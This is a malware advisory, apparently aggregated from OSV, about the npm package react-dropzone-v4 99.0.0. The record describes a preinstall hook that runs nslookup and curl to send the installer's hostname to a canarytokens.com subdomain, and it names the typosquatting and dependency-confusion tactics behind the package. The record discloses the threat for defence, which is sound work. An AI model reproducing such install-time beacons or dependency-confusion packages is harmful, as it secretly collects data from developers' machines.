Malicious code in react-dropzone-v4 (npm)

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (28267e7286151b52836170e94617afcb3c49d17424f7b7ea9fab480c6e008c7c) The package's package.json declares a preinstall lifecycle script that runs automatically on npm install. The script performs an nslookup of $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com and a curl GET to http://hzbvy3cmgred066nig6n3ux0y.canarytokens.com/$(hostname), causing the installer's hostname to be transmitted to a third-party canarytokens.com subdomain via DNS and plaintext HTTP without consent. The package name mimics the popular react-dropzone library and uses an inflated version number (99.0.0) characteristic of dependency-confusion attacks that aim to win resolution against an internal package of the same name. The package provides no legitimate functionality; its only install-time effect is the out-of-band beacon identifying hosts that resolved and installed it. ## Source: ossf-package-analysis (a198afa2f10e287b1c9d5f196f5ca43288ccf306b9dc753a4d04221c3c91f76b) The OpenSSF Package Analysis project identified 'react-dropzone-v4' @ 99.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

Source published

11 Oct 2026 07:35:19 UTC

Source modified

11 Oct 2026 14:30:08 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.